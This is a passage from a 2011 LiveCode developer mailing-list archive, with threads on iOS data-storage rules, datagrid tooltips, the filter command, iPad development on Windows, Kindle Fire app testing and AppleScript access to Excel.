tPicPath > else > return "timeout" > end if > end ChoosePicture > > Now click the button and test it out? you should get back in "the result" > either the path to the selected picture, the word "Cancel" (if they chose > to click the Cancel button), or the word "timeout" if for some reason it > couldn't get the file that is supposed to be created by the Choose Picture > app. > > A couple of caveats/notes: > > 1) AFAIK there's no way to call the "Ask for Photos" palette from > AppleScript directly, so that's the reason for the Automator solution. > 2) When the "Ask for Photos" palette is open, the Automator "gear" icon is > shown in the Mac menu bar (although there's nothing the user can do with > it). > 3) Feel free to change the paths to where you want to write the file, how > it's named, etc? you get the idea on how this works? > > > Ken Ray > Sons of Thunder Software, Inc. > Email: kray at sonsothunder.com > Web Site: http://www.sonsothunder.com/ > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- Todd Geist (805) 419-9382 From francois.chaplais at mines-paristech.fr Fri Dec 9 12:33:02 2011 From: francois.chaplais at mines-paristech.fr (=?iso-8859-1?Q?Fran=E7ois_Chaplais?=) Date: Fri, 9 Dec 2011 18:33:02 +0100 Subject: "do not back up" attribute iOS In-Reply-To: <562B1BC9-A3A1-42D0-B52F-65F8AC35B395@digifilm.com> References: <0A842E00-5556-4F2A-9CD0-38523B2D40E7@digifilm.com> <2D54E970-8201-42EC-9BA9-52BEA7E78169@doub.com> <562B1BC9-A3A1-42D0-B52F-65F8AC35B395@digifilm.com> Message-ID: You CAN store persistent data. GoodReader does it, many others do it. What has change is that you must do it into the proper application directory and not in 'tmp' or 'cache' folders, which are obviously not right places for storing persistent data. Fran?ois Le 9 d?c. 2011 ? 15:22, ddas a ?crit : > That is all history as far as Apple is concerned. > > Apple has started enforcing the 5.01 guidelines and is rejecting apps en masse. > > Any app that downloads data and wants it to persist is in for a nasty shock. > > Revolution as it stands now is a crippled tool for iOS. > > This is a critical fix. > > I am amazed that Revolution is not hip to this. > http://developmentseed.org/blog/2011/11/11/apple-resolves-issues-offline-caches-ios/ > > Regards, > Debdoot > > http://developer.apple.com/library/ios/#qa/qa1719/_index.html > > From pete at mollysrevenge.com Fri Dec 9 12:44:20 2011 From: pete at mollysrevenge.com (Pete) Date: Fri, 9 Dec 2011 09:44:20 -0800 Subject: Datagrid tooltips In-Reply-To: <196430024031.20111208193729@ahsoftware.net> References: <196430024031.20111208193729@ahsoftware.net> Message-ID: Thanks Mark. What you're doing seems a little different than what I need but you reminded me I could use FillInData to set the tooltip and that should take care of it I think. On Thu, Dec 8, 2011 at 7:37 PM, Mark Wieder wrote: > Pete- > > Thursday, December 8, 2011, 11:43:37 AM, you wrote: > > > I know the datagrid has a dgTooltip property that displays when the user > > hovers over a column header but has anyone come up with a way to have a > > tooltip unique to each row? > > > For example, let's say I have a column that uses the datagrid > truncateTail > > function so the data in the column is abbreviated with "..." at the end. > > I'd like to have a way to show the user the complete data in the > > row/column by hovering over it and displaying a tooltip. > > Here's how I do this in PowerTools: I've got a datagrid that contains > thumbnail images, each of which may have a tooltip attached. When I'm > setting up the array for the datagrid I do: > > put the tooltip of control id tWidgetGroup of stack tStackFile into > tArray["ToolTip" & tImageNum] > > then in the behavior script of the datagrid in FillInData: > > if pDataArray["Tooltip" & tWidgetNum] is not empty then > set the tooltip of image tWidgetNum of me to pDataArray["Tooltip" & > tWidgetNum] > end if > > so you could do the same with the text field instead of an image. > > -- > -Mark Wieder > mwieder at ahsoftware.net > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > -- Pete Molly's Revenge From dev at digifilm.com Fri Dec 9 12:47:10 2011 From: dev at digifilm.com (ddas) Date: Fri, 9 Dec 2011 12:47:10 -0500 Subject: "do not back up" attribute iOS In-Reply-To: References: <0A842E00-5556-4F2A-9CD0-38523B2D40E7@digifilm.com> <2D54E970-8201-42EC-9BA9-52BEA7E78169@doub.com> <562B1BC9-A3A1-42D0-B52F-65F8AC35B395@digifilm.com> Message-ID: <3FDB7215-1396-4D42-B104-ED29F1029EB4@digifilm.com> No one does it from last week on. I have one app in the store that does it. I have 2 rejections in the last week. And I am not the only one. http://www.chrisboyd.net/2011/11/icloud-and-the-new-ios-data-storage-guidelines/?utm_source=rss&utm_medium=rss&utm_campaign=icloud-and-the-new-ios-data-storage-guidelines If you follow old rules. You will be rejected. On Dec 9, 2011, at 12:33 PM, Fran?ois Chaplais wrote: > You CAN store persistent data. GoodReader does it, many others do it. What has change is that you must do it into the proper application directory and not in 'tmp' or 'cache' folders, which are obviously not right places for storing persistent data. > Fran?ois > Le 9 d?c. 2011 ? 15:22, ddas a ?crit : > >> That is all history as far as Apple is concerned. >> >> Apple has started enforcing the 5.01 guidelines and is rejecting apps en masse. >> >> Any app that downloads data and wants it to persist is in for a nasty shock. >> >> Revolution as it stands now is a crippled tool for iOS. >> >> This is a critical fix. >> >> I am amazed that Revolution is not hip to this. >> http://developmentseed.org/blog/2011/11/11/apple-resolves-issues-offline-caches-ios/ >> >> Regards, >> Debdoot >> >> http://developer.apple.com/library/ios/#qa/qa1719/_index.html >> >> > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From francois.chaplais at mines-paristech.fr Fri Dec 9 13:00:46 2011 From: francois.chaplais at mines-paristech.fr (=?iso-8859-1?Q?Fran=E7ois_Chaplais?=) Date: Fri, 9 Dec 2011 19:00:46 +0100 Subject: "do not back up" attribute iOS In-Reply-To: <3FDB7215-1396-4D42-B104-ED29F1029EB4@digifilm.com> References: <0A842E00-5556-4F2A-9CD0-38523B2D40E7@digifilm.com> <2D54E970-8201-42EC-9BA9-52BEA7E78169@doub.com> <562B1BC9-A3A1-42D0-B52F-65F8AC35B395@digifilm.com> <3FDB7215-1396-4D42-B104-ED29F1029EB4@digifilm.com> Message-ID: OK, I read the link. Interesting stuff, but I do not see anything dramatic. To me it seems there will be a flurry of app updates; I think the advent of iCloud is a major OS increment. I sympathize, you know. I have to reload all my Marvel Comics because of that, and I do not have WIFI at home (I am on Ethernet), so I know the pain. Best, Fran?ois Le 9 d?c. 2011 ? 18:47, ddas a ?crit : > No one does it from last week on. > I have one app in the store that does it. > > I have 2 rejections in the last week. > > And I am not the only one. > > http://www.chrisboyd.net/2011/11/icloud-and-the-new-ios-data-storage-guidelines/?utm_source=rss&utm_medium=rss&utm_campaign=icloud-and-the-new-ios-data-storage-guidelines > > If you follow old rules. You will be rejected. > > > On Dec 9, 2011, at 12:33 PM, Fran?ois Chaplais wrote: > >> You CAN store persistent data. GoodReader does it, many others do it. What has change is that you must do it into the proper application directory and not in 'tmp' or 'cache' folders, which are obviously not right places for storing persistent data. >> Fran?ois >> Le 9 d?c. 2011 ? 15:22, ddas a ?crit : >> >>> That is all history as far as Apple is concerned. >>> >>> Apple has started enforcing the 5.01 guidelines and is rejecting apps en masse. >>> >>> Any app that downloads data and wants it to persist is in for a nasty shock. >>> >>> Revolution as it stands now is a crippled tool for iOS. >>> >>> This is a critical fix. >>> >>> I am amazed that Revolution is not hip to this. >>> http://developmentseed.org/blog/2011/11/11/apple-resolves-issues-offline-caches-ios/ >>> >>> Regards, >>> Debdoot >>> >>> http://developer.apple.com/library/ios/#qa/qa1719/_index.html >>> >>> >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From dev at digifilm.com Fri Dec 9 13:09:15 2011 From: dev at digifilm.com (ddas) Date: Fri, 9 Dec 2011 13:09:15 -0500 Subject: "do not back up" attribute iOS In-Reply-To: References: <0A842E00-5556-4F2A-9CD0-38523B2D40E7@digifilm.com> <2D54E970-8201-42EC-9BA9-52BEA7E78169@doub.com> <562B1BC9-A3A1-42D0-B52F-65F8AC35B395@digifilm.com> <3FDB7215-1396-4D42-B104-ED29F1029EB4@digifilm.com> Message-ID: Nothing dramatic if the following piece of code is incorporated. Listing 1 Setting the Extended Attribute #include - (BOOL)addSkipBackupAttributeToItemAtURL:(NSURL *)URL { const char* filePath = [[URL path] fileSystemRepresentation]; const char* attrName = "com.apple.MobileBackup"; u_int8_t attrValue = 1; int result = setxattr(filePath, attrName, &attrValue, sizeof(attrValue), 0, 0); return result == 0; } On Dec 9, 2011, at 1:00 PM, Fran?ois Chaplais wrote: > OK, I read the link. Interesting stuff, but I do not see anything dramatic. To me it seems there will be a flurry of app updates; I think the advent of iCloud is a major OS increment. > I sympathize, you know. I have to reload all my Marvel Comics because of that, and I do not have WIFI at home (I am on Ethernet), so I know the pain. > Best, > Fran?ois > Le 9 d?c. 2011 ? 18:47, ddas a ?crit : > >> No one does it from last week on. >> I have one app in the store that does it. >> >> I have 2 rejections in the last week. >> >> And I am not the only one. >> >> http://www.chrisboyd.net/2011/11/icloud-and-the-new-ios-data-storage-guidelines/?utm_source=rss&utm_medium=rss&utm_campaign=icloud-and-the-new-ios-data-storage-guidelines >> >> If you follow old rules. You will be rejected. >> >> >> On Dec 9, 2011, at 12:33 PM, Fran?ois Chaplais wrote: >> >>> You CAN store persistent data. GoodReader does it, many others do it. What has change is that you must do it into the proper application directory and not in 'tmp' or 'cache' folders, which are obviously not right places for storing persistent data. >>> Fran?ois >>> Le 9 d?c. 2011 ? 15:22, ddas a ?crit : >>> >>>> That is all history as far as Apple is concerned. >>>> >>>> Apple has started enforcing the 5.01 guidelines and is rejecting apps en masse. >>>> >>>> Any app that downloads data and wants it to persist is in for a nasty shock. >>>> >>>> Revolution as it stands now is a crippled tool for iOS. >>>> >>>> This is a critical fix. >>>> >>>> I am amazed that Revolution is not hip to this. >>>> http://developmentseed.org/blog/2011/11/11/apple-resolves-issues-offline-caches-ios/ >>>> >>>> Regards, >>>> Debdoot >>>> >>>> http://developer.apple.com/library/ios/#qa/qa1719/_index.html >>>> >>>> >>> >>> >>> _______________________________________________ >>> use-livecode mailing list >>> use-livecode at lists.runrev.com >>> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >>> http://lists.runrev.com/mailman/listinfo/use-livecode >> >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From mark.rauterkus at gmail.com Fri Dec 9 13:29:57 2011 From: mark.rauterkus at gmail.com (Mark Rauterkus) Date: Fri, 9 Dec 2011 13:29:57 -0500 Subject: iPad app with only a Win PC In-Reply-To: References: Message-ID: Hi, Could a newbie develop an app for the iPad on LiveCode on a WIN PC? Or, is that impossible? Do you need to have a Mac too? Wondering. Thanks.. Mark Rauterkus Mark at Rauterkus.com -- -- Ta. Mark Rauterkus Mark.Rauterkus at gmail.com http://Rauterkus.blogspot.com http://FixPA.wikia.com http://CLOH.wikia.com 412 298 3432 = cell From m.schonewille at economy-x-talk.com Fri Dec 9 13:36:13 2011 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Fri, 9 Dec 2011 19:36:13 +0100 Subject: iPad app with only a Win PC In-Reply-To: References: Message-ID: <7A2E0584-DF58-4EC5-96C7-ECC1052AFECA@economy-x-talk.com> Hi Mark, Theoretically, you can develop it, you might even be able to test it (if you can find a working emulator), but every attempt to compile the app for sudmission to the app store would be in vain and possible illegal. On the other hand, if you contact me off-list, we might be able to work out something. -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Become our partner in sales http://qery.us/1bq Start selling Color Converter today. 20% commission! On 9 dec 2011, at 19:29, Mark Rauterkus wrote: > Hi, > > Could a newbie develop an app for the iPad on LiveCode on a WIN PC? Or, is > that impossible? Do you need to have a Mac too? > > Wondering. > > Thanks.. > > Mark Rauterkus > Mark at Rauterkus.com > > > -- > -- > Ta. From benr_mc at cogapp.com Fri Dec 9 14:04:31 2011 From: benr_mc at cogapp.com (Ben Rubinstein) Date: Fri, 09 Dec 2011 19:04:31 +0000 Subject: When to release a free Android app? (development cycle) In-Reply-To: <6EF5B84D-6279-4021-92EE-463878505AC1@me.com> References: <6EF5B84D-6279-4021-92EE-463878505AC1@me.com> Message-ID: <4EE25BBF.6020305@cogapp.com> Hi Andy, I can't give much insight into the market, because I'm new to the Android scene. In relation to the phone versus tablet issue however, I've taken a look at it on the Kindle Fire and it seems pretty good to me. I've only spotted two serious snags: * I let the screen lock kick in while on the select weight page (trying to decide how much to lie) - when I unlocked the screen, it refreshed partially but not fully. Not sure if there's a way you can detect/deal with this. * The Fire has a soft control panel - instead of hardware buttons for home/menu/back it displays these plus search at the bottom of the screen whenever it sees fit (eg in the reading app, they disappear until you tap the center of the screen). In the Fire's own apps, some other controls are somtimes added to thi standard set. When using your app, this panel is permanently there; and it overlays your app's control bar (eg diary/food/exercise/breakdown). Similarly when I select the menu button from that panel, your menu slides up but the bottom row is largely obscured by the Fire's control panel. I'll post a separate query to the list on this topic, because I'd be interested to know the right way to handle it. Apart from these, two things you could do which would I think make the app more pleasant to use on the Fire would be: * a higher-resolution icon - the Fire shows recent icons really big on the home screen, and the current one for your app looks stretched * support the reversed portrait orientation. In my use, I find that I'm mostly using the Fire 'upside down' from what Amazon apparently expect (so that the power button is at the top); their standard apps all handle this, so it's jarring when another app can't handle it. In my personal view, from my limited testing on this one device, if you fixed the above four issues it would be entirely reasonable to post the app, for tablets as well as phones. But my Android experience is extremely limited, so I suspect you would do better to get some testing on a much wider range of devices. HTH, Ben From dunbarx at aol.com Fri Dec 9 14:15:25 2011 From: dunbarx at aol.com (dunbarx at aol.com) Date: Fri, 9 Dec 2011 14:15:25 -0500 (EST) Subject: Filter In-Reply-To: References: Message-ID: <8CE84BE0A357850-209C-3A628@Webmail-m121.sysops.aol.com> What am I doing wrong? If I have: on mouseup put "abcdef" into temp filter temp with "c" put temp end mouseup I get empty. I don't need more empty. Craig Newman From bobs at twft.com Fri Dec 9 14:18:50 2011 From: bobs at twft.com (Bob Sneidar) Date: Fri, 9 Dec 2011 11:18:50 -0800 Subject: Filter In-Reply-To: <8CE84BE0A357850-209C-3A628@Webmail-m121.sysops.aol.com> References: <8CE84BE0A357850-209C-3A628@Webmail-m121.sysops.aol.com> Message-ID: <82479391-D661-4B1B-B445-E55133C6D43E@twft.com> The filter command works on the entire line. The way you are using it, only lines that contain only the letter C will show up. Instead, use: filter temp with "*c*" Bob On Dec 9, 2011, at 11:15 AM, dunbarx at aol.com wrote: > > > What am I doing wrong? If I have: > on mouseup > put "abcdef" into temp > filter temp with "c" > put temp > end mouseup > I get empty. I don't need more empty. > Craig Newman > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From m.schonewille at economy-x-talk.com Fri Dec 9 14:22:25 2011 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Fri, 9 Dec 2011 20:22:25 +0100 Subject: Filter In-Reply-To: <8CE84BE0A357850-209C-3A628@Webmail-m121.sysops.aol.com> References: <8CE84BE0A357850-209C-3A628@Webmail-m121.sysops.aol.com> Message-ID: Hi Craig, filter "abcdef" with "c" gives empty because abcdef is not c filter "abcdef" with "*c*" returns abcdef because abcdef contains c. Filter affects lines, not chars. If you want to remove all c chars in abcdef then you need to use the replace command: replace "c" with "x" in "abcdef" -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Become our partner in sales http://qery.us/1bq Start selling Color Converter today. 20% commission! On 9 dec 2011, at 20:15, dunbarx at aol.com wrote: > > > What am I doing wrong? If I have: > on mouseup > put "abcdef" into temp > filter temp with "c" > put temp > end mouseup > I get empty. I don't need more empty. > Craig Newman From roger.e.eller at sealedair.com Fri Dec 9 14:23:15 2011 From: roger.e.eller at sealedair.com (Roger Eller) Date: Fri, 9 Dec 2011 14:23:15 -0500 Subject: iPad app with only a Win PC In-Reply-To: References: Message-ID: On Fri, Dec 9, 2011 at 1:29 PM, Mark Rauterkus wrote: > Hi, > > Could a newbie develop an app for the iPad on LiveCode on a WIN PC? Or, is > that impossible? Do you need to have a Mac too? > > Wondering. > > Thanks.. > > Mark Rauterkus > Mark at Rauterkus.com > > Not with LiveCode, but there are other SDKs that are Windows based, and even include a simulator. http://www.dragonfiresdk.com/ Also, if you google the word "TonyMac", you'll find that there is a hobbyist community of users who actually BUY a retail DVD of OS X, and install it on their i3, i5, and i7 based PC's. Although it seems possible and even highly compatable with the right hardware, Apple's EULA would prohibit using such a "Frankenstein system" to commercially produce apps. Hopefully Apple will someday offer OS X for PC hardware. I'm sure there would be a market for it. I'd buy it. ~Roger From zryip.theslug at gmail.com Fri Dec 9 14:28:49 2011 From: zryip.theslug at gmail.com (zryip theSlug) Date: Fri, 9 Dec 2011 20:28:49 +0100 Subject: Datagrid tooltips In-Reply-To: References: Message-ID: On Thu, Dec 8, 2011 at 8:43 PM, Pete wrote: > I know the datagrid has a dgTooltip property that displays when the user > hovers over a column header but has anyone come up with a way to have a > tooltip unique to each row? > > For example, let's say I have a column that uses the datagrid truncateTail > function so the data in the column is abbreviated with "..." at the end. > ?I'd like to have a way to show the user the complete data in the > row/column by hovering over it and displaying a tooltip. Hi Pete, Have a look to the "Experiment 016 - Tooltips for rows in a DG", by following this link: http://www.aslugontheroad.com/index.php?option=com_phocadownload&view=category&id=7:data-grid&Itemid=63 Best regards, -- -Zryip TheSlug- wish you the best! 8) http://www.aslugontheroad.com From pete at mollysrevenge.com Fri Dec 9 14:29:57 2011 From: pete at mollysrevenge.com (Pete) Date: Fri, 9 Dec 2011 11:29:57 -0800 Subject: Filter In-Reply-To: <8CE84BE0A357850-209C-3A628@Webmail-m121.sysops.aol.com> References: <8CE84BE0A357850-209C-3A628@Webmail-m121.sysops.aol.com> Message-ID: Hi Craig, I think filter works on lines not chars so if you want to include lines containing "c" do: filter temp with "*c*" The "*" is a placeholder for zero or more characters. On Fri, Dec 9, 2011 at 11:15 AM, wrote: > > > What am I doing wrong? If I have: > on mouseup > put "abcdef" into temp > filter temp with "c" > put temp > end mouseup > I get empty. I don't need more empty. > Craig Newman > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > -- Pete Molly's Revenge From bobs at twft.com Fri Dec 9 14:31:45 2011 From: bobs at twft.com (Bob Sneidar) Date: Fri, 9 Dec 2011 11:31:45 -0800 Subject: Filter In-Reply-To: <8CE84BE0A357850-209C-3A628@Webmail-m121.sysops.aol.com> References: <8CE84BE0A357850-209C-3A628@Webmail-m121.sysops.aol.com> Message-ID: <0D815F12-AE3B-4844-A387-536F6E6BE52B@twft.com> BTW you will get the contents of the entire line by using filter temp with "*c*". As I mentioned it works with entire lines, not chunks of text. If you are trying to see if "abcdef" contains "c" use "c" is in "abcdef". If you are trying to find which character contains the first "c" use offset("c", "abcdef"). If you are trying to find ALL the "c"'s in the string it gets trickier. If the string HAS to be formatted that way, then you will need a repeat loop. put 0 into theCount put "abcdef" into theString repeat for each char theChar in theString add one to theCount if theChar is "c" then put theCount & comma after thePositionList end if end repeat delete the last char of thePositionList optionally you could do this: put "abcdef" into theString repeat for each char theChar in theString put theChar & cr after theNewString end repeat filter theNewString with "c" I can't think of how that would be useful, but I don't know what you are doing. Bob On Dec 9, 2011, at 11:15 AM, dunbarx at aol.com wrote: > > > What am I doing wrong? If I have: > on mouseup > put "abcdef" into temp > filter temp with "c" > put temp > end mouseup > I get empty. I don't need more empty. > Craig Newman > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From pete at mollysrevenge.com Fri Dec 9 14:32:53 2011 From: pete at mollysrevenge.com (Pete) Date: Fri, 9 Dec 2011 11:32:53 -0800 Subject: When to release a free Android app? (development cycle) In-Reply-To: <4EE25BBF.6020305@cogapp.com> References: <6EF5B84D-6279-4021-92EE-463878505AC1@me.com> <4EE25BBF.6020305@cogapp.com> Message-ID: Hi Ben, Sounds like you're pretty familiar with the Kindle Fire. I'm thinking of getting one primarily for web access to my Google mail, docs, calendar, contacts, etc. How's the web browser on it? Do you find the lack of access to the Android Market a problem? Pete On Fri, Dec 9, 2011 at 11:04 AM, Ben Rubinstein wrote: > Hi Andy, > > I can't give much insight into the market, because I'm new to the Android > scene. In relation to the phone versus tablet issue however, I've taken a > look at it on the Kindle Fire and it seems pretty good to me. > > I've only spotted two serious snags: > > * I let the screen lock kick in while on the select weight page (trying to > decide how much to lie) - when I unlocked the screen, it refreshed > partially but not fully. Not sure if there's a way you can detect/deal > with this. > > * The Fire has a soft control panel - instead of hardware buttons for > home/menu/back it displays these plus search at the bottom of the screen > whenever it sees fit (eg in the reading app, they disappear until you tap > the center of the screen). In the Fire's own apps, some other controls are > somtimes added to thi standard set. When using your app, this panel is > permanently there; and it overlays your app's control bar (eg > diary/food/exercise/breakdown)**. Similarly when I select the menu > button from that panel, your menu slides up but the bottom row is largely > obscured by the Fire's control panel. > > I'll post a separate query to the list on this topic, because I'd be > interested to know the right way to handle it. > > Apart from these, two things you could do which would I think make the app > more pleasant to use on the Fire would be: > > * a higher-resolution icon - the Fire shows recent icons really big on the > home screen, and the current one for your app looks stretched > > * support the reversed portrait orientation. In my use, I find that I'm > mostly using the Fire 'upside down' from what Amazon apparently expect (so > that the power button is at the top); their standard apps all handle this, > so it's jarring when another app can't handle it. > > In my personal view, from my limited testing on this one device, if you > fixed the above four issues it would be entirely reasonable to post the > app, for tablets as well as phones. But my Android experience is extremely > limited, so I suspect you would do better to get some testing on a much > wider range of devices. > > HTH, > > Ben > > ______________________________**_________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/**mailman/listinfo/use-livecode > > -- Pete Molly's Revenge From bobs at twft.com Fri Dec 9 14:36:34 2011 From: bobs at twft.com (Bob Sneidar) Date: Fri, 9 Dec 2011 11:36:34 -0800 Subject: iPad app with only a Win PC In-Reply-To: References: Message-ID: <3F215AE1-84A8-4510-A3BE-2C72D2CF5E24@twft.com> Did they figure out the 3D graphic drivers? We had a "Hackintosh" which worked really well for ripping DVD videos (relax they were Bible Studies) and I was so impressed, I asked the guy to build me a Hackintosh of my own with all the best hardware, but ONLY if it could play 3d graphic games. We never got the drivers to work on the original machine, so I gave up on that. Bob On Dec 9, 2011, at 11:23 AM, Roger Eller wrote: > Also, if you google the word "TonyMac", you'll find that there is a > hobbyist community of users who actually BUY a retail DVD of OS X, and > install it on their i3, i5, and i7 based PC's. Although it seems possible > and even highly compatable with the right hardware, Apple's EULA would > prohibit using such a "Frankenstein system" to commercially produce apps. > Hopefully Apple will someday offer OS X for PC hardware. I'm sure there > would be a market for it. I'd buy it. > > ~Roger From zryip.theslug at gmail.com Fri Dec 9 14:40:41 2011 From: zryip.theslug at gmail.com (zryip theSlug) Date: Fri, 9 Dec 2011 20:40:41 +0100 Subject: Applescript for getting data from a spreadsheet In-Reply-To: <9E8E9007-F72A-471F-93EC-4F86BA921557@twft.com> References: <9E8E9007-F72A-471F-93EC-4F86BA921557@twft.com> Message-ID: On Fri, Dec 9, 2011 at 5:49 PM, Bob Sneidar wrote: > This may be a little off topic, but the goal is to create an app that looks up mac addresses from a telnet session into a series of procurve switches, and then compare that with a known list of mac addresses in an excel spreadsheet, and trace them through a network to find where the device is at. I do this regularly by hand, but I want to make a stack that can do it. > > I read through the dictionary of Microsoft Excel to try to find a way to get the data from a range of cells, but as usual, nothing works in Applescript like you would expect, and of course the dictionary provides no examples of how the command should be written. All the help forums are useless because the advice people give there is usually either outdated, or simply wrong on it's face. > > So does anyone have any experience using Applescript to select a range of cells in a certain sheet of a certain workbook? If I could get that far, I think I could just copy/paste the data into a datagrid and go from there. BTW I am using Office 2008 (for Mac of course). This is important because apparently they rewrote the dictionary between 2004 and 2008 and a lot of things that used to work in 2004 do not anymore. Hi Bob, Did you try something like this? tell application "Microsoft Excel" set myRange to range "A1:A5" of sheet "mySheet" of workbook "myWorkbook" return value of myRange end tell This should return a list of values between {} and separated by commas. Best regards, -- -Zryip TheSlug- wish you the best! 8) http://www.aslugontheroad.com From benr_mc at cogapp.com Fri Dec 9 14:50:55 2011 From: benr_mc at cogapp.com (Ben Rubinstein) Date: Fri, 09 Dec 2011 19:50:55 +0000 Subject: When to release a free Android app? (development cycle) In-Reply-To: References: <6EF5B84D-6279-4021-92EE-463878505AC1@me.com> <4EE25BBF.6020305@cogapp.com> Message-ID: <4EE2669F.3030503@cogapp.com> On 09/12/2011 19:32, Pete wrote: > Sounds like you're pretty familiar with the Kindle Fire. I'm thinking of > getting one primarily for web access to my Google mail, docs, calendar, > contacts, etc. How's the web browser on it? Do you find the lack of > access to the Android Market a problem? Alas, I'm not at all familiar with it. I took the opportunity to get one while I was on a trip to the US last week, just to mess around with; because it's pretty cheap as an Android tablet, and because I suspect there's a good chance it's quickly going to become the most widely owned Android tablet. Unfortunately I can't at present use the Amazon App Store at all, because Amazon require your 1-click account to be set up with a US-based credit card, and I don't have one (even free apps can't be downloaded in this situation; and although I can buy myself an Amazon gift card and credit it so that paid apps would be billed against that instead of the registered 1-click credit card, it still won't play ball. There doesn't seem to be any way round this at present.) If I was serious, I'd presumably root the device and hence access the Android market. But for the moment I'm just playing with it when I should be getting on with my real work. I must say I thought it was splendid when I opened a random stack from my disk, checked build for 'Android', and immediately had an approximately working app on the device. But err... that's about as far as I'd got with it, until I started playing with Andy's app tonight, which has led me to start poking around a bit more. FWIW, if I'd bought it as a consumer - at least one very familiar with the iPhone and iPad - I'd think it was as crude as hell. The web browser is ugly and hard to use, things don't scroll smoothly, the interface is horrible, the 'Pulse' app doesn't work properly, it keeps losing WiFi... etc. Some of this may be the result of being very familiar with iOS, not all familiar with Android. I think myself most of it is because it really is crude as hell. But, it was $199 instead of $600. For watching movies on, it's probably fine. And if I could only download Angry Birds, my guess is that would play fine too. Ben From roger.e.eller at sealedair.com Fri Dec 9 14:54:55 2011 From: roger.e.eller at sealedair.com (Roger Eller) Date: Fri, 9 Dec 2011 14:54:55 -0500 Subject: iPad app with only a Win PC In-Reply-To: <3F215AE1-84A8-4510-A3BE-2C72D2CF5E24@twft.com> References: <3F215AE1-84A8-4510-A3BE-2C72D2CF5E24@twft.com> Message-ID: On Fri, Dec 9, 2011 at 2:36 PM, Bob Sneidar wrote: > Did they figure out the 3D graphic drivers? We had a "Hackintosh" which > worked really well for ripping DVD videos (relax they were Bible Studies) > and I was so impressed, I asked the guy to build me a Hackintosh of my own > with all the best hardware, but ONLY if it could play 3d graphic games. We > never got the drivers to work on the original machine, so I gave up on that. > > Bob > > I read on their site, or in a forum, that if the PC has a mid to high-end nVidia video card, they will "just work", including QE and OpenGL rendering, just like the real deal. I think much progress has been made, which is why I think Apple should just go ahead and sell a PC version, or even the same version, and simply allow community support if they don't want to use their own paid resources. True fans of the total package would still buy their hardware from Apple, if for no other reason than the slick styling of the Apple brand. Many people who already have a decent PC and are fed up with virus attacks would probably switch to OS X. That's why I use Ubuntu. ~Roger From pete at mollysrevenge.com Fri Dec 9 14:55:45 2011 From: pete at mollysrevenge.com (Pete) Date: Fri, 9 Dec 2011 11:55:45 -0800 Subject: Datagrid tooltips In-Reply-To: References: Message-ID: Thanks, that's basically what I ended up doing except the tooltip is simply the data in the column - I'm doing that when the column data has been truncated using the truncateTail function so the user can see the complete data by hovering over the dg cell. On Fri, Dec 9, 2011 at 11:28 AM, zryip theSlug wrote: > On Thu, Dec 8, 2011 at 8:43 PM, Pete wrote: > > I know the datagrid has a dgTooltip property that displays when the user > > hovers over a column header but has anyone come up with a way to have a > > tooltip unique to each row? > > > > For example, let's say I have a column that uses the datagrid > truncateTail > > function so the data in the column is abbreviated with "..." at the end. > > I'd like to have a way to show the user the complete data in the > > row/column by hovering over it and displaying a tooltip. > > Hi Pete, > > Have a look to the "Experiment 016 - Tooltips for rows in a DG", by > following this link: > > > http://www.aslugontheroad.com/index.php?option=com_phocadownload&view=category&id=7:data-grid&Itemid=63 > > > Best regards, > -- > -Zryip TheSlug- wish you the best! 8) > http://www.aslugontheroad.com > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > -- Pete Molly's Revenge From bobs at twft.com Fri Dec 9 15:06:12 2011 From: bobs at twft.com (Bob Sneidar) Date: Fri, 9 Dec 2011 12:06:12 -0800 Subject: Applescript for getting data from a spreadsheet In-Reply-To: References: <9E8E9007-F72A-471F-93EC-4F86BA921557@twft.com> Message-ID: <4A10A87E-3107-4091-8EF1-47C8B9B367D6@twft.com> Thanks man! Can I come sit at you feet and learn of your greatness?? ;-) Seems though that Excel locked up. It works for small selections, but Excel didn't like it when I did that for 4 columns of 4000+ rows. Also, I wonder if referencing entire columns might try to get all the data in all the *possible* rows instead of all the rows that have data in them? That is why I was 